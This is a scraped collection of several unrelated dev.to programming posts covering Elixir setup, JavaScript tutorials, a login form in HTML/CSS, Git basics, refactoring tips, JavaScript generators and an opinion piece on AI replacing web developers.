#### Elixir
To add the Elixir plugin:
```bash
asdf plugin add elixir https://github.com/asdf-vm/asdf-elixir.git
```
Installing a specific version:
```bash
asdf install elixir 1.17
```
Setting the global version:
```bash
asdf global elixir 1.17
```
### Verifying Installations
Now you can open a new terminal and run the following commands to check if they are installed correctly:
```bash
node --version
elixir --version
```
Now you are ready to start your journey into the world of Elixir! With all the necessary tools installed, you can explore the powerful features of this amazing language. Don't hesitate to experiment, explore, and create amazing projects. Good luck and have fun learning Elixir! | abreujp |
1,890,241 | 10 Captivating JavaScript Programming Tutorials on LabEx 🌟 | The article is about a collection of 10 captivating JavaScript programming tutorials from the LabEx platform. It covers a wide range of topics, including building a Christmas wish list app with React, removing non-ASCII characters, checking if a date is between two dates, creating a drawing board web app, grouping elements by count, ranking arrays, converting RGB to HSL colors, checking if a string starts with a substring, determining if a value is an object, and filtering falsy values in JavaScript arrays. The article provides a brief overview of each tutorial, highlighting the key concepts and skills covered, and includes direct links to the labs on the LabEx website. This comprehensive collection is perfect for both beginners looking to master the fundamentals of JavaScript and experienced developers seeking to expand their programming abilities. | 27,742 | 2024-06-16T11:54:34 | https://dev.to/labex/10-captivating-javascript-programming-tutorials-on-labex-2k4j | coding, programming, tutorial, javascript |
Dive into the world of JavaScript with this comprehensive collection of 10 engaging programming tutorials from the LabEx platform. Whether you're a beginner looking to master the fundamentals or an experienced developer seeking to expand your skills, these labs cover a wide range of topics, from building interactive web applications to manipulating arrays and colors. Get ready to embark on a journey of coding excellence! 💻
## Building a Christmas Wish List App with React 🎄
In this festive tutorial, you'll learn how to create a Christmas Wish List Builder web application using React. Immerse yourself in the holiday spirit as you build a beautiful, full-screen Christmas-themed background and a charming snowfall animation. Users can add their wishes to a semi-transparent wish wall, and each wish is presented as a postcard. [Explore the lab](https://labex.io/labs/298940)
## Removing Non-ASCII Characters 🔍
Dive into the world of JavaScript programming and learn how to use it to build dynamic and interactive web applications. Through a series of hands-on exercises and coding challenges, you'll cover topics such as variables, data types, functions, and control flow. By the end of the lab, you'll have a solid understanding of the fundamentals of JavaScript programming. [Check out the lab](https://labex.io/labs/28589)
## Checking if a Date is Between Two Dates 📆
Discover how to check if a date falls between two other dates using JavaScript. Utilize the greater than and less than operators to compare the dates and return a boolean value indicating if the date is within the specified range. This technique can be useful in various scenarios, such as filtering data based on a date range. [Explore the lab](https://labex.io/labs/28244)
## Creating a Drawing Board Web App 🎨
Build a simple web-based drawing board application step by step. Each step will build upon the previous one, allowing you to gradually add functionality to the application. By the end of this project, you'll have a fully functional drawing board where users can draw, change brush color, adjust brush size, and clear the canvas. [Check out the lab](https://labex.io/labs/298964)
## Grouping Elements by Count 📊
Learn about the `countBy` function, which is used to group the elements of an array based on a given function and return the count of elements in each group. Explore how this function can be used to map values of an array to a function or property name and how to create an object to count the elements in each group using `Array.prototype.reduce()`. [Explore the lab](https://labex.io/labs/28221)
## Ranking Arrays in JavaScript 🏆
Dive into the concept of array ranking in JavaScript. Understand how to calculate the ranking of an array based on a comparator function, using techniques such as `Array.prototype.map()` and `Array.prototype.filter()`. Gain a better understanding of how to implement this functionality in your own JavaScript projects. [Check out the lab](https://labex.io/labs/28152)
## Converting RGB to HSL Colors 🎨
Explore the conversion of RGB color tuples to the HSL format. Implement the RGB to HSL conversion formula using JavaScript. By the end of this lab, you'll have a better understanding of how to convert RGB colors to the HSL format and manipulate color values in your projects. [Explore the lab](https://labex.io/labs/28603)
## Checking if a String Starts with a Substring 🔍
Learn how to check if a given string starts with a substring of another string using JavaScript. Discover how to use the `for...in` loop and `String.prototype.slice()` to get each substring of a given word, and `String.prototype.startsWith()` to check if the current substring matches the text. [Check out the lab](https://labex.io/labs/28625)
## Determining if a Value is an Object 🔍
Explore the `isObject` function in JavaScript. The function checks whether a given value is an object or not by creating an object wrapper for the value using the `Object` constructor. Understand how to use this function to determine the type of values and its implementation in various scenarios. [Explore the lab](https://labex.io/labs/28432)
## Filtering Falsy Values in JavaScript Arrays 🧹
Delve into the concept of working with arrays in JavaScript. Learn how to use the `Array.prototype.filter()` method to remove falsy values from an array. By the end of this lab, you'll have a better understanding of how to manipulate arrays in JavaScript and be able to apply this knowledge to your own projects. [Check out the lab](https://labex.io/labs/28204)
Dive into these captivating JavaScript programming tutorials and unlock your full potential as a developer. Happy coding! 🚀
---
## Want to learn more?
- 🌳 Learn the latest [JavaScript Skill Trees](https://labex.io/skilltrees/javascript)
- 📖 Read More [JavaScript Tutorials](https://labex.io/tutorials/category/javascript)
- 🚀 Practice thousands of programming labs on [LabEx](https://labex.io)
Join our [Discord](https://discord.gg/J6k3u69nU6) or tweet us [@WeAreLabEx](https://twitter.com/WeAreLabEx) ! 😄 | labby |
1,890,240 | How to focus on self learning and grow in an Operations and Delivery team | A constant conversation at work is around how people in delivery and operation teams, have less time... | 0 | 2024-06-16T11:53:26 | https://dev.to/vaishnavi_rajagopal_1f34b/how-to-focus-on-self-learning-and-grow-in-an-operations-and-delivery-team-3630 | growth, operations | A constant conversation at work is around how people in delivery and operation teams, have less time availability for learning and growth. One should take the steps for self learning at work place - This not only helps stay motivated but also paves way for growth.
https://medium.com/@purple-orchard/continuous-learning-and-growth-in-product-delivery-teams-85c6542a55b7 | vaishnavi_rajagopal_1f34b |
1,890,238 | Make A Simple Login Form in HTML and CSS only | You’ve probably seen many login forms while browsing different sites. If you’re a beginner web... | 0 | 2024-06-16T11:48:28 | https://www.codingnepalweb.com/make-simple-login-form-html-css/ | webdev, html, css, beginners | You’ve probably seen many [login forms](https://www.codingnepalweb.com/category/login-form/) while browsing different sites. If you’re a beginner web developer, have you wondered how to create one using just HTML and CSS? Yes, it’s possible with just these two coding languages!
In this blog post, I’ll show you how to create a simple yet effective login form using only [HTML and CSS](https://www.codingnepalweb.com/category/html-and-css/). We’ll start by setting up the HTML structure, and then apply CSS to make it look good. We’ll also add Google and Apple login buttons for a modern touch.
We’ll use common HTML elements such as `<form>`, `<div>`, `<a>`, `<label>`, `<button>`, and simple CSS properties for styling this form. This project is straightforward, making it easy to follow and understand. Let’s get started!
## Video Tutorial of Simple Login Form in HTML & CSS
{% embed https://www.youtube.com/watch?v=jkThO1GIP9Y %}
For those who prefer video tutorials, the YouTube video above is a great resource. It explains each line of code and provides comments to make the process of creating your HTML login form easy to follow.
If you prefer reading or need a step-by-step guide, keep following this post.
## Steps to Create a Simple Login Form in HTML and CSS
To create a simple yet effective login form using HTML and CSS only, follow these simple step-by-step instructions:
- First, create a folder with any name you like, e.g., login-form. Then, create the necessary files inside it.
- Create a file called `index.html` to serve as the main file.
- Create a file called `style.css` for the CSS code.
- Finally, download the [Images](https://www.codingnepalweb.com/custom-projects/make-simple-login-form-html-css-images.zip) folder and place it in your project directory. This folder contains the logos for Google and Apple used in this form project.
To start, add the following HTML codes to your index.html file: This code includes essential HTML markup with different semantic tags like `<form>`, `<div>`, `<a>`, `<label>`, `<button>` to create the login form layout.
```html
<!DOCTYPE html>
<!-- Source Codes By CodingNepal - www.codingnepalweb.com -->
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Login Form in HTML and CSS | CodingNepal</title>
<link rel="stylesheet" href="style.css" />
</head>
<body>
<div class="login_form">
<!-- Login form container -->
<form action="#">
<h3>Log in with</h3>
<div class="login_option">
<!-- Google button -->
<div class="option">
<a href="#">
<img src="logos/google.png" alt="Google" />
<span>Google</span>
</a>
</div>
<!-- Apple button -->
<div class="option">
<a href="#">
<img src="logos/apple.png" alt="Apple" />
<span>Apple</span>
</a>
</div>
</div>
<!-- Login option separator -->
<p class="separator">
<span>or</span>
</p>
<!-- Email input box -->
<div class="input_box">
<label for="email">Email</label>
<input type="email" id="email" placeholder="Enter email address" required />
</div>
<!-- Paswwrod input box -->
<div class="input_box">
<div class="password_title">
<label for="password">Password</label>
<a href="#">Forgot Password?</a>
</div>
<input type="password" id="password" placeholder="Enter your password" required />
</div>
<!-- Login button -->
<button type="submit">Log In</button>
<p class="sign_up">Don't have an account? <a href="#">Sign up</a></p>
</form>
</div>
</body>
</html>
```
Next, add the following CSS codes to your `style.css` file to style your login form. Feel free to experiment with different CSS properties such as colors, fonts, and backgrounds to make your form more attractive.
```css
/* Google Fonts Link */
@import url('https://fonts.googleapis.com/css2?family=Montserrat:ital,wght@0,100..900;1,100..900&display=swap');
/* Resetting default styling and setting font-family */
* {
margin: 0;
padding: 0;
box-sizing: border-box;
font-family: "Montserrat", sans-serif;
}
body {
width: 100%;
min-height: 100vh;
padding: 0 10px;
display: flex;
background: #626cd6;
justify-content: center;
align-items: center;
}
/* Login form styling */
.login_form {
width: 100%;
max-width: 435px;
background: #fff;
border-radius: 6px;
padding: 41px 30px;
box-shadow: 0 10px 20px rgba(0, 0, 0, 0.15);
}
.login_form h3 {
font-size: 20px;
text-align: center;
}
/* Google & Apple button styling */
.login_form .login_option {
display: flex;
width: 100%;
justify-content: space-between;
align-items: center;
}
.login_form .login_option .option {
width: calc(100% / 2 - 12px);
}
.login_form .login_option .option a {
height: 56px;
display: flex;
justify-content: center;
align-items: center;
gap: 12px;
background: #F8F8FB;
border: 1px solid #DADAF2;
border-radius: 5px;
margin: 34px 0 24px 0;
text-decoration: none;
color: #171645;
font-weight: 500;
transition: 0.2s ease;
}
.login_form .login_option .option a:hover {
background: #ededf5;
border-color: #626cd6;
}
.login_form .login_option .option a img {
max-width: 25px;
}
.login_form p {
text-align: center;
font-weight: 500;
}
.login_form .separator {
position: relative;
margin-bottom: 24px;
}
/* Login option separator styling */
.login_form .separator span {
background: #fff;
z-index: 1;
padding: 0 10px;
position: relative;
}
.login_form .separator::after {
content: '';
position: absolute;
width: 100%;
top: 50%;
left: 0;
height: 1px;
background: #C2C2C2;
display: block;
}
form .input_box label {
display: block;
font-weight: 500;
margin-bottom: 8px;
}
/* Input field styling */
form .input_box input {
width: 100%;
height: 57px;
border: 1px solid #DADAF2;
border-radius: 5px;
outline: none;
background: #F8F8FB;
font-size: 17px;
padding: 0px 20px;
margin-bottom: 25px;
transition: 0.2s ease;
}
form .input_box input:focus {
border-color: #626cd6;
}
form .input_box .password_title {
display: flex;
justify-content: space-between;
text-align: center;
}
form .input_box {
position: relative;
}
a {
text-decoration: none;
color: #626cd6;
font-weight: 500;
}
a:hover {
text-decoration: underline;
}
/* Login button styling */
form button {
width: 100%;
height: 56px;
border-radius: 5px;
border: none;
outline: none;
background: #626CD6;
color: #fff;
font-size: 18px;
font-weight: 500;
text-transform: uppercase;
cursor: pointer;
margin-bottom: 28px;
transition: 0.3s ease;
}
form button:hover {
background: #4954d0;
}
```
That’s it! If you’ve added the code correctly, you’re ready to see your login form. Open the `index.html` file in your preferred browser to view the login form in action.
## Conclusion and final words
Creating a login form is a great way for beginners to grasp the basics of HTML CSS, and gain practical experience in designing and styling forms. By following the steps and code provided in this [blog](https://www.codingnepalweb.com/category/blog/) post, you successfully created your own login form.
To further enhance your web development skills, especially with forms, consider recreating other attractive [login and registration forms](https://www.codingnepalweb.com/category/login-form/) showcased on this website. Many of these forms use JavaScript to add features like password visibility toggling, password strength checking, and form validation.
If you encounter any problems while creating your login form, you can download the source code files for this project for free by clicking the “Download” button. You can also view a live demo of it by clicking the “View Live” button.
[View Live Demo](https://www.codingnepalweb.com/demos/make-simple-login-form-html-css/)
[Download Code Files](https://www.codingnepalweb.com/make-simple-login-form-html-css/) | codingnepal |
1,890,236 | AI has replaced web developers! | If I asked you “Will AI replace us as web developers?” all of you would answer it differently, some... | 0 | 2024-06-16T11:43:01 | https://dev.to/lemmecode/ai-has-replaced-web-developers-1kih | webdev, ai, jobs, tech | If I asked you “Will AI replace us as web developers?” all of you would answer it differently, some might say — “yes” and some may disagree and say “No” Their answer is primarily based on their opinion, but not facts.
And to let you know guys, **AI has replaced us, it already did!**
Well, I am not making such bold statements out of thin air I have proof and proper research that shows us that AI has already started replacing so many tech jobs (i.e. graphic designing, video editing, web development), and that’s quite a haunting fact.
## Impact of AI Across Various Departments
Chart showing the jobs that are most impacted by AIThis chart illustrates what impacts AI has on various departments. Notably, AI had a significant influence on 73% of the IT sector, with 26% experiencing a moderate(small impact) effect and a mere 1% remaining unaffected, the dominance of AI in IT shows its critical role in transforming this field.
Now, this topic is such a controversy that everybody nowadays has their thoughts regarding this. While some might say: *“C’mon, AI is just a tool that wouldn’t affect us.”* or *“AI lacks human touch.”*, I want to tell them that AI has already started replacing us by doing our jobs. so many freelance jobs on popular platforms like Upwork were affected by this.
## Freelance jobs on upwork affected by AI
Here you can see the number of new Upwork jobs for various categories over time since the release of ChatGPT. As seen, Web Design jobs had irregular ups and downs. Along with other jobs followed a similar trend but with less volatility.
Frontend Development, marked with a yellow line, indicates that the number of jobs for this could be low.
And the disaster doesn’t end here, these were only the short-term effects of AI on our careers, while the long-term effects of AI are unpredictable. Nobody knows when a new AI tool is about to launch that will completely change our lives and our careers — the possibilities are endless.
## What are you supposed to do?
The best you can do is to upgrade your skills aim to become the **top 1%** of your field and try to learn as much as possible in a short period. And stay updated about what’s going on in the industry this way your value will increase and you’ll be able to survive against AI (hopefully).
Join my newsletter to stay updated about new trends before anyone else!
> [**Join Code Whispers today — it’s free!**](https://code-whispers.beehiiv.com/subscribe)
>
> | lemmecode |
1,890,234 | Best Time to Refactor: Tips for Refactoring a Legacy Code Base | As software engineers, we all know that refactoring is important for maintaining and improving code... | 0 | 2024-06-16T11:31:05 | https://dev.to/haseeb1009/best-time-to-refactor-tips-for-refactoring-a-legacy-code-base-1b51 | As software engineers, we all know that refactoring is important for maintaining and improving code quality. However, its very common being lazy.
> Imagine a scenario where, during a code review, someone identifies a code smell and suggests some changes. You might respond by saying there's no time for that now and that we'll add it to our technical debt backlog. Or perhaps you leave a few **TODO** comments instead of taking the time to write clean code. It’ll get done eventually, right?
> No! In reality, these tasks rarely get completed once they’re consigned to the limbo of “to be done later.” There's always something more urgent than refactoring.
In this post, we'll explore some tips for deciding the best time to refactor and how to do it in a legacy codebase.
###Best Time to Refactor
Refactoring is a continuous process that should be done throughout the development cycle. So, if I had to answer that in one word that would be **NOW**. Pretty explicit from the cover!
<br/>
> "Its always the best time to refactor".
<br/>

_However, there are certain times when you will find the opportunity to do refactoring._
**1. When Adding New Features**
Adding new features to an existing code base can be a good opportunity to refactor. Refactoring before adding new features can help to reduce the technical debt and improve the overall quality of the codebase. It's easier to refactor before adding new features than after.
**2. When Fixing Bugs**
Fixing bugs can also be a good time to refactor. If a bug is caused by poorly written code, refactoring can help to prevent similar bugs from happening in the future. Refactoring while fixing bugs can also make the code easier to understand and maintain.
**3. When Working on Code That's Already Being Touched**
If you're already working on a specific section of the codebase and you feel a room for improvement, it can be a good opportunity to refactor that section as well. This can help to improve the quality of the codebase and reduce technical debt.
##Refactoring in a Legacy Code Base
Refactoring in a legacy code base can be challenging. Legacy codebases are often large, complex, and poorly documented, making it difficult to understand the code's behavior and dependencies. Here are some tips for refactoring a legacy code base:
**1. Understand the Code**
Before you start refactoring, it's essential to understand the codebase's structure and behavior. This includes understanding how different components interact with each other, identifying areas of the codebase that are prone to errors, and determining the code's overall complexity.
**2. Identify Code Smells**
Identifying code smells is crucial for effective refactoring in a legacy codebase. Common code smells include duplicated code, long methods, and excessive nesting. Identifying these code smells can help you prioritize which sections of the codebase need to be refactored.
**3. Start Small**
Refactoring a legacy code base can be overwhelming, so it's essential to start small. Identify small sections of the codebase that can be refactored without impacting the rest of the codebase's behavior. Starting small can help you build momentum and reduce the risk of breaking the codebase.
**4. Write Tests**
Writing tests can have a significant impact on refactoring and it help you to ensure that your refactoring efforts don't introduce new bugs or break existing functionality. Tests can also serve as documentation for the codebase, making it easier to understand and maintain in the future.
**5. Refactor Incrementally**
Refactoring a legacy codebase can be a time-consuming process, so it's essential to do it incrementally. Refactor small sections of the codebase at a time, and make sure that the code still works as expected after each change.
##Practical Example: Refactoring with Ag-Grid and Formik
In one of my projects, we used Ag-Grid for an enterprise application to display large amounts of data, hierarchies, and computations, making it highly customizable and extensible. We had numerous computations on the grids and were using Formik for managing the state of the grid as a form.
Working with a legacy codebase, we faced the need to incorporate enterprise features from newer versions of both Ag-Grid and Formik which had a lot of performance improvements. However, directly updating these libraries was not feasible due to significant breaking changes.
To address this challenge, we adopted an incremental approach:
**1. Initial Setup:** We installed the latest versions of Ag-Grid and Formik alongside the existing versions. This allowed us to experiment without disrupting the current functionality.
**2. Starting Small:** We began by updating a small, manageable section of the application. This section was chosen for its simplicity and minimal dependencies, reducing the risk of introducing errors.
**3. Creating a Reference Implementation:** Successfully updating this small section provided us with a reference implementation. This served as a guide for how to handle similar updates throughout the codebase.
**4. Gradual Rollout:** Using the reference implementation, we incrementally updated other sections of the application. This step-by-step approach minimized risks and allowed for continuous testing and verification.
**5. Comprehensive Testing:** Throughout the process, we ensured thorough testing at each stage. Writing and running tests helped us catch and fix issues early, maintaining the stability of the application.
This methodical and incremental strategy enabled us to modernize the codebase effectively. By breaking the task into smaller, manageable pieces, we were able to mitigate risks, ensure compatibility, and gradually leverage the new features offered by the updated libraries.
**_
I would love to hear from you guys on the following:_**
1. What's the most challenging refactoring you've tackled, and how did you approach it?
2. How do you prioritize refactoring in your development workflow?
3. What are your favorite refactoring techniques or tools, and why?
4. Have you ever faced resistance to refactoring within your team or organization? How did you overcome it?
5. How do you balance the trade-off between refactoring for maintainability and delivering new features quickly?
| haseeb1009 | |
1,890,233 | ?? (Nullish coalescing) vs || (Logical OR) in Javascript | Both Nullish Coalescing Operator (??) and Logical OR (||) operator are often used in JavaScript to... | 0 | 2024-06-16T11:29:30 | https://dev.to/justanordinaryperson/-nullish-coalescing-vs-logical-or-in-javascript-2l88 | webdev, javascript, beginners, programming |
Both Nullish Coalescing Operator (??) and Logical OR (||) operator are often used in JavaScript to provide a default value to variables. These help us prevent any unexpected behavior in our code.
**Nullish Coalescing Operator (??):** This is specifically designed to handle situations where the left operand might be unintentionally left unassigned (null) or missing a a value (undefined). It only considers null and undefined as nullish values.
**Logical OR (||):** This is useful when you want a default value if the left operand is any falsy value. This includes null, undefined, 0, empty string (""), false, and NaN.
**Lets take these examples :**
1. **If you want to check and avoid printing empty values, use the Logical OR Operator (||).**
`console.log("" || "Hello")` // "Hello"
`console.log("" ?? "Hello")` // ""
2. **If 0 or Boolean false is a valid return value in your use-case, use ?? (Nullish coalescing).**
`console.log(0 || "Hello")` // "Hello"
`console.log(0 ?? "Hello")` // 0
`console.log(false || "Hello")` // "Hello"
`console.log(false ?? "Hello")` // false
`console.log(0 || "Hello")` // "Hello"
`console.log(0 ?? "Hello")` // 0
3. **If you are only checking for undefined or null, you can go for either one of them :**
`console.log(undefined ?? "Hello")` // "Hello"
`console.log(undefined || "Hello")` // "Hello"
`console.log(null ?? "Hello")` // "Hello"
`console.log(null || "Hello")` // "Hello"
| justanordinaryperson |
1,890,232 | Git | Source Code Management(SCM) Version Control System(VCS): VCS/SCM/Revision... | 0 | 2024-06-16T11:25:33 | https://dev.to/dwivedialind/git-odo | webdev, git, github | ## Source Code Management(SCM)
## Version Control System(VCS):
**_VCS/SCM/Revision Control System(RCS) are software tools for keeping track of changes to code over time_**
- Developers can collaborate on different projects, separating their tasks through branches.
- Look back to earlier versions for comparing and fixing the mistakes if needed.
**_Version_**
- Copy of document taken at a specific time
- records
- author
- time stamp
- changes
### Benefits of Using VCS
1. Long-term change history
- Changes made by developers over the years, can be seen in history.
- Allows going back to previous version for analyzing bugs and fixing problems.
2. Branching and Merging
- (**Branching**)No interference with each other's work.
- (**Merging**)Brings the work together and seeing if there are conflicts between those works.
3. Traceability
- Trace each change and connect to project management or bug-tracking software.
- Commits on message helps describing purpose of the change.
4. Synchronization
- fetch up-to-date codes from repository
5. Backup and Restore
- Files are saved at any time
- Restored from last saved one
6. Undoing
- Can undo last known version and last one created long time ago.
## Types of VCS
1. Local Version Control System
2. Centralized Version Control System
3. Distributed Version Control System
### Local VCS
**_Source Safe is one of obsolete Source Control System_**
1. Prevent data loss from modifications to the actual file content.
2. Avoid confusing directories
- Directory Proliferation: Without VCS, you might create multiple directories to save different versions of your project. This become difficult to manage and remember which version is which.
- Misplacement: Misplace files in wrong directory or forget which directory contains latest version of your files.
3. Prevent Accidental Overwrites and Misfiled Copies
- Overwriting Files: While manually copy files to create a new version, might overwrite existing files accidentally, losing important changes.
- Wrong Copies: Accidentally copy files to the wrong location, causing confusion about which files are most recent or which ones are correct.
4. Limitations:
- Individual Use
- No Collaboration
- Single Point of Failure
### Centralized VCS
All versions of project stored in a single central repository(server).
1. Central Repository
- All files and version at one central location
- Acts as the **single source of truth** for the project.
2. Client-Server Model
- Users get files from and send changes to central server.
3. How it Works:
- Checkout: User gets a copy of project from central repository.
- Edit: Users make changes to local copy.
- Commit: Changes sent back to central repository.
- Update: Users get latest changes from central repository.
4. Benefits
- Centralized Management
- Simplified Access Control
- Collaborative
5. Challenges
- Single Point of failure
- Scalability Issues: Performance can suffer with large teams or projects.
- Network Dependency: Requires network connection to interact with central repository.
**_SubVersion, PerForce, CVS(Concurrent Version System)_**
### Distributed VCS
1. Local Repository:
- Every user has a complete copy of the entire repository, including all history.
- Users can commit changes to their own local repositories without needing network access.
2. Peer-to-Peer Model:
- Users can share changes directly with each other or synchronize with a central server if needed.
3. No Single Point of Failure:
- Each user's local repository is a complete backup of the project.
**_Git, Mercurial, Bazaar or Darcs_**
## Git
- Designed and Developed by Linus Trovalds for Linux Kernel development
- Free software distributed under the terms of the GNU General Public License version 2
### Characteristics:
- Strong support for non-linear development **[Branches]**
- Distributed Development
- Compatibility with existent systems and protocols
- Efficient handling of large projects
- cryptographic authentication of history
- Toolkit-based design
- Pluggable merge strategies
### Advantages
- Free and open source
- Fast and Small
- Implicit backup
- Security
- No need of powerful hardware
- Easier Branching
### Git Workflow

1. **_git init_**
- Initialize a new empty Git repository or to reinitialize an existing one
- Repository is a directory which contains the working directory along with metadata in <code>.git</code>
```bash
# Get the current status of repository(working directory+ staging area)
> git status
# Get the status with short style
> git status -s
?? file.js
# status will be represented in two characters
# 1. status of file against the staging area
# 2. status of file against the working directory
```
> ?? -> The file is untracked (the file is not known to the repository or the repository has not yet created any version of this file)
2. **_Staging Area_**
A temporary collection before you add your file to the repository.
```bash
# To add file from working directory to staging area
> git add <file_name>
> git status -s
A file.js
# the changes to file are added to the staging area
```
3. **_git commit_**
- Committed snapshots are considered safe versions of a project because Git asks before changing them.
```bash
# commit the changes to the repository
# - any version in repository will contain
# - author(user who has committed the changes)
# - date and time of commit
# - message used while committing the changes
# - actual changes (added and deleted lines/files)
> git commit -m <commit_message>
```
4. **_git log_**
- shows committed snapshots
- only works on the committed history
```bash
> git log --oneline --color --graph
# --oneline: show only one line description
# --color: show colors while showing the logs
# --graph: show the branch graph
```
5. **_git status_**
```bash
# Modify the file.js
> git status -s
# _M: the file is modified and present in working directory
# add all the changes in the current directory to staging area
> git add .
> git status -s
# M_: the file is modified and present in staging area
```
6. **_git diff_**
- gets the difference of current version of file with last recorded version
7. **\*git checkout**
- if the last recorded version in staging area, then **git checkout** will restore to that version.
- else to last committed snapshot
```bash
#remove all the changes by replacing last recorded version with current version. You cannot retrieve the changes
> git checkout file.js
```
8. **_git reset_**
- if changes are staged **git checkout** won't work
- Unstage the changes
```bash
# remove the changes from staging area and move them back to working directory
> git reset
```
```bash
# unstage the changes and remove them immediately
# (along with all the changes in the working directory)
# Note: please execute this command on your own risk
> git reset --hard
```
### Git Internals
```bash
- git repository (.git directory)
- HEAD
- config
- description
- hooks
- info
- objects
- on commit, git creates the objects(files) in this directory
- there are 4 types of objects
- commit object
- created per commit
- it contains the information
- tree object id
- author
- committer
- commit message
- tree object
- created per commit per directory
- it contains the information
- 100644: the entry is pointing to a file
- blob: type of object
- blob object id: the id of blob object
- file name: the name of the file which is having the contents stored in the blob file
- blob object
- created per file
- it contains the contents of a file in encrypted format ( use git cat-file command to read the contents)
- refs
- heads
- points to latest commit id
- tags
```
1. **_id's here are in the form of hash value_**
```bash
# get the contents of internal object
> git cat-file -p <object-id>
# object-id: <dir_name>+hash
# git cat-file -t 6b3a
```
2. **_if two files have same content then blob object will be same for them_**
3. **_After making changes to file and commit, the commit object contains <code>parentId</code> which is the previous version of <code>objectId</code>_**
### Git Branching
- A way to write code without affecting the rest of your team.
- Generally used for feature development.
- Once confirmed, can merge the branch in the master branch and release the build to customers.
1. Branch is a <code>file</code> under **_.git/refs/heads_** with branch name, which stores latest commit id.
2. Default branch name is either **_main or master_**
3. **_git branch_**
- Get list of branches
```bash
# create a branch
> git branch <branch_name>
# main and another created branch would point to same commit id
```
```bash
# to switch to branch
# git checkout <branchname>
> git branch b1
```
```bash
# create a new branch and checkout immediately
> git checkout -b b2
```
#### Merging
1. Merge new_branch in main
```bash
# merge b1 in main
> git checkout main
# show branch name
> git status
> git merge b1
```
2. Delete a branch
```bash
# delete a branch
> git branch -d <branch_name>
```
3.
```bash
> git push origin --delete <branch_name>
#deletes a branch from a remote repository after pushing any unpushed commits.
```
4.
```bash
> git log --graph --oneline --all --decorate
```
5. Checkout to commit id
```bash
> git checkout <commit_id>
```
| dwivedialind |
1,890,231 | Lock / Mutex to an 8th grader (Difficulty 1) | This is a submission for DEV Computer Science Challenge v24.06.12: One Byte Explainer. ... | 0 | 2024-06-16T11:25:04 | https://dev.to/sauravshah31/lock-mutex-to-an-8th-grader-378a | devchallenge, cschallenge, computerscience, beginners | *This is a submission for [DEV Computer Science Challenge v24.06.12: One Byte Explainer](https://dev.to/challenges/cs).*
## Explainer
Imagine you're in an exam hall where only one student can go to the restroom at a time using a pass. When they return, the pass goes to the next student. Similarly, computers use locks to let only one app access a resource at a time while others wait.
## Additional Context
I am planning to post 5 submissions explaining "Lock/Mutex" at 5 levels of difficulty. This is Difficulty 1.
An 8th grader probably hasn't heard of the term "mutex." An explanation that relates to something they have seen and explains how computers use a similar concept can be helpful.
For more about explaining the term in 5 Levels of difficulty, refer to the below post. It's interesting!
{% embed https://dev.to/sauravshah31/computer-science-challenge-lets-make-it-interesting-lai %}
[Next explanation for Difficulty 2](https://dev.to/sauravshah31/lock-mutex-to-a-cs-undergraduate-59me)
**Cheers🎉** ~ [sauravshah31](https://x.com/sauravshah31) | sauravshah31 |
1,890,229 | Mastering JavaScript Generators 🔥 | JavaScript, a language known for its versatility and ease of use, has a variety of features that make... | 0 | 2024-06-16T11:21:53 | https://dev.to/alisamirali/mastering-javascript-generators-15g3 | javascript, webdev, frontend, fullstack | JavaScript, a language known for its versatility and ease of use, has a variety of features that make it powerful for both novice and experienced developers. One such feature is generators. Introduced in ECMAScript 2015 (ES6), generators offer a unique way to handle iteration and asynchronous programming. In this article, we'll explore what generators are, how they work, and their practical applications.
---
## What Are Generators?
Generators are a special type of function that can pause and resume execution. Unlike regular functions, which run to completion when called, generators yield control back to the caller at designated points. This ability to pause and resume makes them particularly useful for tasks that require a sequence of values or need to handle asynchronous operations more elegantly.
----
## Syntax and Basic Usage
A generator function is defined using the `function*` syntax, and it uses the `yield` keyword to pause execution.
```js
function* myGenerator() {
yield 1;
yield 2;
yield 3;
}
const gen = myGenerator();
console.log(gen.next()); // { value: 1, done: false }
console.log(gen.next()); // { value: 2, done: false }
console.log(gen.next()); // { value: 3, done: false }
console.log(gen.next()); // { value: undefined, done: true }
```
In this example, `myGenerator` is a generator function that yields three values. The `gen` object is an iterator created by invoking the generator function. Calling `gen.next()` returns an object with two properties: `value`, the yielded value, and `done`, a boolean indicating whether the generator has finished.
---
## The Power of `yield`
The `yield` keyword not only pauses the generator but also allows values to be sent back into the generator.
```js
function* countingGenerator() {
let count = 0;
while (true) {
count = yield count + 1;
}
}
const counter = countingGenerator();
console.log(counter.next()); // { value: 1, done: false }
console.log(counter.next(10)); // { value: 11, done: false }
console.log(counter.next(20)); // { value: 21, done: false }
```
Here, each call to `counter.next()` resumes the generator and can pass a value to replace the variable `count`. This demonstrates how generators can maintain and update their state across pauses.
---
## Practical Applications
### 📌 Iteration
Generators shine in scenarios where you need custom iteration logic. For instance, you can create a generator to iterate over a range of numbers or even complex data structures.
```js
function* range(start, end) {
for (let i = start; i <= end; i++) {
yield i;
}
}
for (const num of range(1, 5)) {
console.log(num); // 1, 2, 3, 4, 5
}
```
---
### 📌 Asynchronous Programming
Generators, combined with promises, can simplify asynchronous code. Libraries like `co` use this pattern to manage async flows more naturally than nested callbacks or promise chains.
```js
const fetch = require('node-fetch');
function* fetchData(url) {
const response = yield fetch(url);
const data = yield response.json();
return data;
}
const co = require('co');
co(fetchData, 'https://api.example.com/data')
.then(data => console.log(data))
.catch(err => console.error(err));
```
---
### 📌 Infinite Sequences
Generators can create infinite sequences, which are impossible with arrays due to their finite nature. This is useful in simulations, data streams, or any scenario where you need an unbounded series of values.
```js
function* fibonacci() {
let [prev, curr] = [0, 1];
while (true) {
yield curr;
[prev, curr] = [curr, prev + curr];
}
}
const fib = fibonacci();
console.log(fib.next().value); // 1
console.log(fib.next().value); // 1
console.log(fib.next().value); // 2
console.log(fib.next().value); // 3
console.log(fib.next().value); // 5
```
---
## Conclusion
Generators in JavaScript provide a robust mechanism for handling sequences, managing state across function calls, and simplifying asynchronous code.
Their introduction in ES6 has added significant flexibility and power to the language, making complex iteration and async patterns more approachable.
As you delve deeper into JavaScript, mastering generators can enhance your ability to write efficient and maintainable code. Whether you're dealing with streams of data, custom iterators, or asynchronous operations, generators offer a powerful tool to elevate your programming toolkit.
---
**_Happy Coding!_** 🔥
**[LinkedIn](https://www.linkedin.com/in/dev-alisamir)**
**[X (Twitter)](https://twitter.com/dev_alisamir)**
**[Telegram](https://t.me/the_developer_guide)**
**[YouTube](https://www.youtube.com/@DevGuideAcademy)**
**[Discord](https://discord.gg/s37uutmxT2)**
